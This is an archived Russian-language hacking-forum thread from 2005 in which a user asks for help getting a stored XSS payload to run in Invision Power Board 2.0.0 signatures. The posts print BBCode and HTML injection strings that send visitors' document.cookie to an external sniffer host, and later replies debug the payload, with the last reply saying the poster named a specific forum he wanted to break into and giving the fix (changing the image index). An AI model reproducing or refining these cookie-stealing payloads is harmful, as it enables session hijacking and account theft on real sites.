Это фильтр или что? (проблема со вставкой скрипта в Ipb 2.0.0)

Discussion in 'Песочница' started by Telepuz, 26 Apr 2005.

Thread Status:
Not open for further replies.
  1. Telepuz

    Telepuz Banned

    Joined:
    30 Mar 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Code:
    <div class="postcolor" style='padding:4px;'><span style='color:<img src='http://aaaaa/=`aaajpg' border='0' alt='user posted image' />'>` style=background:url(javascript:document.images[68].src=&quot;[url]http://*******/sniff.jpg?&quot;+document.cookie[/url]); </span></div>
    Это получается поле вставки скрипта

    Code:
    [COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[68].src="http://*******/sniff.pg?"+document.cookie); [/COLOR]
    
    перед style появляется />'

    Как можно это обойти?
     
  2. KEZ

    KEZ Guest

    Reputations:
    0
    замени [COLOR=] на
    если не получится, назови версию форума... если это форум...
    я подумаю
     
  3. Telepuz

    Telepuz Banned

    Joined:
    30 Mar 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Invision Power Board 2.0.0

    Code:
    <div class="signature" style="padding: 5px;">
    <span style='color:#aaaaaa
    <iМg src='http://aaaaa/=`aaajpg' border='0' alt='user posted image' 
    />'>`style=background:url(javascript:document.images
    [68].src=&quot;http://armadaplus.com/css/show.gif?&quot;+document.cookie);</sрan></div>
    
    Это получается после присвоения цвета.
    Т.е получается так, что подпись не отображается, по идее должен работать скрипт. Но опять появлятеся />
     
  4. coyl

    coyl Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    125
    Likes Received:
    3
    Reputations:
    2
    это потому что у тебя опера, а опера не видит знак `. то есть в эксплорере это подействует, а в опере - нет =) вот и всё =)
     
  5. Telepuz

    Telepuz Banned

    Joined:
    30 Mar 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    нифига =)
    Опера никак не вставит />. Это делает форум. Тем более, что проверяю я вставки в Ie.
     
  6. Telepuz

    Telepuz Banned

    Joined:
    30 Mar 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Не отключал он теги. Стандартные теги работаю же и я об этом говорил. Так что не пори чушь.
     
  7. Super White Jordan

    Joined:
    28 Apr 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Чушь мелишь ссылку давай. Если у тебя в теле сообщения не работает, (Хотя чисто глядя на html который ты дал всё работает) то фильтры стоят.
     
  8. Telepuz

    Telepuz Banned

    Joined:
    30 Mar 2005
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Тема закрыта, всем спасибо =)
     
  9. Super White Jordan

    Joined:
    28 Apr 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Ну вот Я всё проверил, судя по тому коду который ты тут дал на форуме, он теги в подписи кроме картинки отключил. Откуда Я знаю что он теги в подписи отключил? Ну потому что Я прочитал твой html код который ты сам и дал!!!! Так что год, врать не умеет. =)))

    Теперь, ты мне в приват прислал ссылку на тот форум который ты хотел взломать.

    Ну так вот, Я там всё проверил, и в подписи и в сообщении фильров нету там всё работает. У тебя снифф не работал потому что у тебя 68 в коде. Это Админы в статье специально зделали чтобы Ламеры (В этом случае к сожалению как ты, но только не обижайся=) ) не ломали форумы. =))))))

    Так что поменяй на 1. =))))
     
Loading...
Similar Threads - фильтр проблема вставкой
  1. raarkil
    Replies:
    4
    Views:
    2,807
Thread Status:
Not open for further replies.